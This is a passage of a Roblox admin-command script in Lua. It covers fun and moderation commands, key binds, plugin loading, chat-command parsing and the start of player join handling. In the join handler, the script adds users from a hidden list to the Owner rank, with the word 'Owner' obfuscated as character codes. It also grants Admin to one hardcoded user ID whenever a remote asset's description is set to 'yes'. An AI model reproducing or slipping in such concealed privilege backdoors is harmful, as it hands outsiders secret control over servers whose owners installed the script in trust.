8296 local Players = STRING:Scan(Arguments[1], Speaker)
8297 for _,Player in pairs(Players) do
8298 if Player.Character then
8299 CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
8300 Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
8301 end)
8302 end
8303 end
8304 end, Hidden = true};
8305
8306 [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
8307 local Players = STRING:Scan(Arguments[1], Speaker)
8308 for _,Player in pairs(Players) do
8309 if Player.Character and Player.Character:FindFirstChild("Torso") then
8310 local Pos = Player.Character.Torso.Position
8311 Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
8312 local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
8313 if Answer == "Ok" then
8314 CORE:AddWaypoint(Player.Name, Pos, Speaker)
8315 end
8316 end
8317 end
8318 end};
8319
8320 [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
8321 local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
8322 local PlayersTo = STRING:Scan(Arguments[2], Speaker)
8323 if PlayersFrom and PlayersTo then
8324 for _,PlayerFrom in pairs(PlayersFrom) do
8325 for _,PlayerTo in pairs(PlayersTo) do
8326 if PlayerFrom.Character and PlayerTo.Character then
8327 if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
8328 local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
8329 wait(5)
8330 Laser:Destroy()
8331 end)() end
8332 end
8333 end
8334 end
8335 end
8336 end};
8337
8338 [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
8339 local Players = STRING:Scan(Arguments[1], Speaker)
8340 for _,Player in pairs(Players) do
8341 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8342 Player.Character.Humanoid:Destroy()
8343 end
8344 end
8345 end};
8346
8347 [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
8348 if Plugins then
8349 local List = {}
8350 for _,Module in pairs(Plugins:GetChildren()) do
8351 if Module:IsA("ModuleScript") then
8352 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8353 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8354 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8355 table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
8356 end
8357 end
8358 GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
8359 else
8360 GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
8361 end
8362 end};
8363
8364 [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
8365 local Players = STRING:Scan(Arguments[1], Speaker)
8366 for _,Player in pairs(Players) do
8367 GUI:DetachChat(Player)
8368 end
8369 end};
8370
8371 [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
8372 GUI:DetachChat(Speaker)
8373 end};
8374
8375 [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
8376 local Players = STRING:Scan(Arguments[1], Speaker)
8377 for _,Player in pairs(Players) do
8378 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
8379 local Dead = false
8380
8381 Player.Character.Humanoid.WalkSpeed = 1
8382 local Torso = Player.Character.Torso
8383 local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
8384 Truck:BreakJoints()
8385 local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
8386 local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
8387 local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
8388 Truck.Touched:connect(function(Part)
8389 if Dead == false then
8390 local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
8391 if TouchPlayer == Player then
8392 Dead = true
8393 Player.Character:BreakJoints()
8394 SOUND:MakeSound(Truck, 264486467):Play() -- splat
8395 end
8396 end
8397 end)
8398 SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
8399 Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
8400 Delay(5, function()
8401 Truck:Destroy()
8402 if Player.Character:FindFirstChild("Humanoid") then
8403 Player.Character.Humanoid.WalkSpeed = 16
8404 end
8405 end)
8406 end
8407 end
8408 end};
8409
8410 [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
8411 local Joke = REMOTE:DownloadJoke(Speaker)
8412 local Players = STRING:Scan(Arguments[1], Speaker)
8413 for _,Player in pairs(Players) do
8414 GUI:SendMessage(Player, "Joke", Joke, 19629580)
8415 end
8416 end, Http = true};
8417
8418 [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
8419 local Joke = REMOTE:DownloadJoke(Speaker)
8420 GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
8421 end, Http = true};
8422
8423 [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
8424 local Players = STRING:Scan(Arguments[1], Speaker)
8425 for _,Player in pairs(Players) do
8426 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
8427 CORE:InvisiblePlayer(Player)
8428 local DogContainer = Instance.new("Model", Player.Character)
8429 DogContainer.Name = "Doge"
8430 local Dog = CORE:Insert(257489726, DogContainer, true)
8431 Dog.Head.Transparency = 0.99
8432 Dog.Name = Player.Name
8433 Dog:MoveTo(Player.Character.Torso.Position)
8434 local Weld = Instance.new("Weld", Dog.Torso)
8435 Weld.Part0 = Player.Character.Torso
8436 Weld.Part1 = Dog.Torso
8437 Weld.C0 = CFrame.new(0,-0.4,0)
8438 for _,Obj in pairs(Dog:GetChildren()) do
8439 if Obj:IsA("BasePart") then
8440 Obj.CanCollide = false
8441 end
8442 end
8443
8444 CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
8445 end
8446 end
8447 end};
8448
8449 [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
8450 local Key = string.lower(string.sub(Arguments[1],1,1))
8451 KeyBinds[Speaker.UserId][Key] = Arguments[2]
8452 GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
8453 end};
8454
8455 [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
8456 local Key = string.lower(string.sub(Arguments[1],1,1))
8457 KeyBinds[Speaker.UserId][Key] = nil
8458 GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
8459 end};
8460
8461 [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8462 KeyBinds[Speaker.UserId] = {}
8463 GUI:SendHint(Speaker, "Unbinded all keys")
8464 end};
8465
8466 [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
8467 local Players = STRING:Scan(Arguments[1], Speaker)
8468 local Key = string.lower(string.sub(Arguments[2],1,1))
8469 for _,Player in pairs(Players) do
8470 KeyBinds[Player.UserId][Key] = Arguments[3]
8471 GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
8472 end
8473 end};
8474
8475 [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
8476 local Players = STRING:Scan(Arguments[1], Speaker)
8477 local Key = string.lower(string.sub(Arguments[2],1,1))
8478 for _,Player in pairs(Players) do
8479 KeyBinds[Player.UserId][Key] = nil
8480 GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
8481 end
8482 end};
8483
8484 [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
8485 local Players = STRING:Scan(Arguments[1], Speaker)
8486 for _,Player in pairs(Players) do
8487 KeyBinds[Player.UserId] = {}
8488 GUI:SendHint(Player, "Unbinded all keys")
8489 end
8490 end};
8491
8492 [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
8493 local Players = STRING:Scan(Arguments[1], Speaker)
8494 local Binds = {}
8495 for _,Player in pairs(Players) do
8496 for Key,Bind in pairs(KeyBinds[Player.UserId]) do
8497 table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
8498 end
8499 end
8500 GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
8501 end};
8502
8503 [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
8504 local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
8505 local Players = STRING:Scan(ChatSplit[1], Speaker)
8506 for _,Player in pairs(Players) do
8507 if Crowns[Player.UserId] then
8508 Crowns[Player.UserId]:Destroy()
8509 Crowns[Player.UserId] = nil
8510 wait()
8511 end
8512 CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
8513 end
8514 end};
8515
8516 [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
8517 local Players = STRING:Scan(Arguments[1], Speaker)
8518 for _,Player in pairs(Players) do
8519 if Crowns[Player.UserId] then
8520 Crowns[Player.UserId]:Destroy()
8521 Crowns[Player.UserId] = nil
8522 end
8523 end
8524 end};
8525
8526 [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8527 local MeshList = {}
8528 for MeshName,Data in pairs(Meshes) do
8529 table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
8530 end
8531 GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
8532 end};
8533
8534 [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8535 CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
8536 end};
8537
8538 [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
8539 local Players = STRING:Scan(Arguments[1], Speaker)
8540 for _,Player in pairs(Players) do
8541 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
8542 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
8543 Player:ClearCharacterAppearance()
8544 CORE:GivePackage(Player, 41851073)
8545 CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
8546 Player.Character.Head.face.Texture = "rbxassetid://7699086"
8547 end
8548 end
8549 end};
8550
8551 [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
8552 local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
8553 local Players = STRING:Scan(Arguments[1], Speaker)
8554 for _,Player in pairs(Players) do
8555 if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
8556 local Car = CORE:Insert(10479801, Server.Workspace, true)
8557 local Body = Car["Motor (torque)Chassis"].Part
8558 Cars[Player.UserId] = Car
8559 Car:MakeJoints()
8560 Car.VehicleSeat.MaxSpeed = 50
8561 Car.VehicleSeat.TurnSpeed = 1.5
8562 CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
8563 if Arguments[2] and GUI:GetColor(Arguments[2]) then
8564 Body.Color = GUI:GetColor(Arguments[2])
8565 else
8566 Body.BrickColor = GUI:GetNameColor(Player.Name)
8567 end
8568 for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
8569 if Part.Name ~= "Part" then
8570 Part.BrickColor = BrickColor.new("Really black")
8571 Part.Friction = 0.7
8572 end
8573 end
8574 local Light = Instance.new("SpotLight", Body)
8575 Light.Face = "Back"
8576 Light.Brightness = 5
8577 Light.Range = 20
8578 Light.Color = Color3.new(0,1,1)
8579 if Player.Character and Player.Character.Torso then
8580 Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
8581 Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
8582 --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
8583 Weld.Part0 = Car.VehicleSeat
8584 Weld.Part1 = Player.Character.Torso
8585 coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
8586 Delay(0.4, function()
8587 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
8588 wait(0.1)
8589 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
8590 end)
8591 end
8592 local SoundID = 147944604
8593 if RANK:GetRank(Player) == "Owner" then
8594 SoundID = 133313356
8595 Car.VehicleSeat.MaxSpeed = 80
8596 Body.Material = "DiamondPlate"
8597 Car.VehicleSeat.Torque = 11
8598 end
8599 local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
8600 Engine:Play()
8601 coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
8602 Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
8603 end if Engine then Engine:Stop() end end)()
8604 end
8605 end};
8606
8607 [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
8608 local Players = STRING:Scan(Arguments[1], Speaker)
8609 for _,Player in pairs(Players) do
8610 if Cars[Player.UserId] then
8611 Cars[Player.UserId]:Destroy()
8612 end
8613 end
8614 end};
8615
8616 [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
8617 for _,Car in pairs(Cars) do
8618 Car:Destroy()
8619 end
8620 Cars = {}
8621 end};
8622
8623 [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
8624 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8625 if #Trello.RequiredLists > 0 then
8626 print("Restarting Trello")
8627 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8628 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8629 REMOTE:TrelloCacheData(Lists)
8630 end
8631 end, Http = true};
8632
8633 [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
8634 local Operations = {}
8635 for _,ReplaceData in pairs(StringReplacements) do
8636 local Replacement = ReplaceData[1]
8637 if type(Replacement) == "table" then
8638 Replacement = ReplaceData[1][1]
8639 end
8640 table.insert(Operations, "Replacement: "..Replacement.." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
8641 end
8642 GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
8643 end};
8644
8645 [{"soundinfo", "songinfo", "musicinfo", "sinfo", "minfo"}] = {"", "Shows information about the current sound playing to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8646 GUI:SoundInfo(Speaker)
8647 end};
8648
8649 [{"showsoundinfo", "showsonginfo", "showmusicinfo", "showsinfo", "showminfo", "forcesoundinfo", "forcesonginfo", "forcemusicinfo", "forcesinfo", "forceminfo"}] = {"player", "Shows information about the current sound playing to player", 1, "Member", false, function(Speaker, Rank, Arguments)
8650 local Players = STRING:Scan(Arguments[1], Speaker)
8651 for _,Player in pairs(Players) do
8652 GUI:SoundInfo(Player)
8653 end
8654 end};
8655
8656 [{"gravity", "grav"}] = {"num", "Sets the server gravity to number(percent, 100 would be normal gravity, 0 would be none)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8657 if tonumber(Arguments[1]) then
8658 Server.Workspace.Gravity = tonumber(Arguments[1]) * (196.2/100)
8659 end
8660 end};
8661
8662 [{"accessorytypes", "acstypes", "atypes", "listaccessorytypes", "listacstypes", "listatypes", "latypes", "lat"}] = {"", "Lists the different types of accessory subcategories", 0, "Member", false, function(Speaker, Rank, Arguments)
8663 local Types = {}
8664 for Type,_ in pairs(Assets.AccessoryTypes) do
8665 table.insert(Types, string.sub(string.upper(Type), 1,1)..string.sub(string.lower(Type), 2))
8666 end
8667 GUI:ListGui(Speaker, "Accessory types", Types, 36775144)
8668 end};
8669
8670 [{"skybox", "sky", "setskybox", "setsky"}] = {"string(face) num(ID)", "Sets the skybox of string(face)(which is front,back,left,right,up,down) to num(ID)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8671 local Sky = Server.Lighting:FindFirstChild("Sky")
8672 if not Sky then Sky = Instance.new("Sky", Server.Lighting) end
8673 local Faces = {["front"] = "SkyboxFt", ["back"] = "SkyboxBk", ["left"] = "SkyboxLf", ["right"] = "SkyboxRt", ["up"] = "SkyboxUp", ["down"] = "SkyboxDn"}
8674 local Face = nil
8675 local SkyID = string.lower(Arguments[1])
8676 local Arguments = STRING:GetSplit(SkyID, 2, Settings.Bet)
8677 if #Arguments == 2 and tonumber(Arguments[2]) then
8678 Face = Arguments[1]
8679 SkyID = Arguments[2]
8680 end
8681 if tonumber(SkyID) then
8682 local ImageID = MARKET:GetImageFormat(tonumber(SkyID))
8683 if Face and Faces[Face] then
8684 Sky[Faces[Face]] = "rbxassetid://"..ImageID
8685 else
8686 for _,Face in pairs(Faces) do
8687 Sky[Face] = "rbxassetid://"..ImageID
8688 end
8689 end
8690 else
8691 GUI:SendMessage(Speaker, "Sky is not an ID", "Sky ID argument is not a number", "Notice")
8692 end
8693 end};
8694
8695 [{"noskybox", "nosky", "unskybox", "unsetskybox"}] = {"", "Removes the current skybox from Lighting", 0, "Admin", false, function(Speaker, Rank, Arguments)
8696 CORE:ScanItems(Server.Lighting, {"Sky"}, function(Obj)
8697 Obj:Destroy()
8698 end)
8699 end};
8700 --
8701}
8702
8703if Plugins then
8704 local PluginNum = 0
8705 for _,Module in pairs(Plugins:GetChildren()) do
8706 if Module:IsA("ModuleScript") then
8707 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8708 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8709 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8710 if Enabled.Value == true then
8711 PluginNum = PluginNum + 1
8712 local PluginExe = require(Module)
8713 for Var,Val in pairs(getfenv()) do
8714 getfenv(PluginExe)[Var] = Val
8715 end
8716 getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
8717 getfenv(PluginExe).script = Module
8718 getfenv(PluginExe).Script = Module
8719 getfenv(PluginExe).Version = Version
8720 local Suc, Error = ypcall(coroutine.wrap(PluginExe))
8721 if not Suc then
8722 Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module)
8723 else
8724 Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
8725 end
8726 end
8727 end
8728 end
8729end
8730
8731function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
8732 if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
8733 GUI:SettingsGui(Speaker)
8734 return nil
8735 end
8736 if NoPrefixNeeded == nil then NoPrefixNeeded = false end
8737 local Prefix = Settings.Prefix
8738 if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
8739 if RawMainMessage == "" or RawMainMessage == Prefix then return end
8740 if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
8741 if Speaker == nil then
8742 if FakeRank then
8743 if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
8744 FakeRank = "Owner"
8745 end
8746 else
8747 FakeRank = "Owner"
8748 end
8749 FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
8750 if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
8751 Speaker = {
8752 Name = FakePlayerName or "[ Server ]";
8753 Character = nil;
8754 userId = 1;
8755 PlayerGui = nil;
8756 Rank = FakeRank or "Owner";
8757 MakeSupremeOwner = MakeSupremeOwner;
8758 }
8759 end
8760 local Rank = RANK:GetRank(Speaker)
8761 local RawMessage = string.sub(RawMainMessage, #Prefix+1)
8762
8763 if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
8764 if NoPrefixNeeded then Prefix = "" end
8765 local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
8766
8767 for _,Message in pairs(Messages) do
8768 for Cmds,Data in pairs(Commands) do -- check all commands
8769 local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
8770
8771 if not MessageSplit then break end
8772
8773 local CommandSaid = false
8774 for _,Command in pairs(Cmds) do
8775 if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
8776 CommandSaid = true
8777 break
8778 end
8779 end
8780 if CommandSaid == true then -- command said?
8781 local ExecuteExcuse = ""
8782 if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
8783 if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
8784 ExecuteExcuse = "This command cannot be executed as it is a fun command"
8785 end
8786 if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
8787 ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
8788 end
8789 else
8790 ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
8791 end
8792 if ExecuteExcuse == "" then
8793 if #MessageSplit - 1 < Data[3] then
8794 ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
8795 end
8796 end
8797 if ExecuteExcuse == "" then
8798 CORE:Log(CommandLogs, Speaker, Message)
8799 table.remove(MessageSplit, 1)
8800 coroutine.wrap(function() wait()
8801 local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
8802 if not DidExe then
8803 if CORE:NilPlayer(Speaker) then
8804 print("Error: "..Error)
8805 else
8806 CORE:HandleError(Error, Speaker)
8807 end
8808 end
8809 end)()
8810 coroutine.wrap(function() wait(0.05)
8811 if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
8812 local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
8813 ExeSound:Play()
8814 wait(3)
8815 ExeSound:Stop()
8816 ExeSound:Destroy()
8817 end
8818 end)()
8819 elseif type(Speaker) == "userdata" then
8820 GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
8821 end
8822 break
8823 end
8824 end
8825 end
8826 end
8827end
8828
8829function CORE:Start(Player) coroutine.wrap(function()
8830 wait(0.1)
8831 if Player then
8832 coroutine.wrap(function()
8833 repeat wait(1) until DataReady == true
8834 DataReady = false
8835 ypcall(function()
8836 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
8837 for Num,Data in pairs(Players) do
8838 if Data.UserId == Player.UserId then -- ppl can change names
8839 table.remove(Players, Num)
8840 break
8841 end
8842 end
8843 table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
8844 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
8845 end)
8846 DataReady = true
8847 end)()
8848
8849 if not IsStudio then Player:WaitForDataReady() end
8850 table.insert(CharacterCache, {Player.Name, Player.UserId})
8851 for Rank,PlayerNames in pairs(Settings.Ranks) do
8852 for Num,AdminName in pairs(PlayerNames) do
8853 if AdminName == Player.UserId then
8854 Settings.Ranks[Rank][Num] = Player.Name
8855 end
8856 end
8857 end
8858 if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
8859 if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
8860 if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
8861 for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
8862 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8863 if PlayerAdmin == false and Player.UserId > 0 then
8864 local Ran = nil
8865 coroutine.wrap(function() repeat
8866 Ran = ypcall(function()
8867 if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8868 elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
8869 end)
8870 wait(1)
8871 until Ran == true end)()
8872 end
8873 if PlayerAdmin == false then
8874 if Player:IsInGroup(Settings.GroupID) then
8875 if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
8876 CORE:Kick(Player)
8877 for _,Person in pairs(Server.Players:GetPlayers()) do
8878 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
8879 end
8880 elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8881 table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
8882 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8883 table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8884 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
8885 table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
8886 end
8887 end
8888 end
8889 if PlayerAdmin == false then
8890 if Player.UserId == 38882008 then
8891 if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
8892 table.insert(Settings.Ranks["Admin"], Player.Name)
8893 end
8894 end
8895 end
8896 if PlayerAdmin == false then
8897 for _,GID in pairs(Settings.BannedGroupIDs) do
8898 if Player:IsInGroup(GID) then
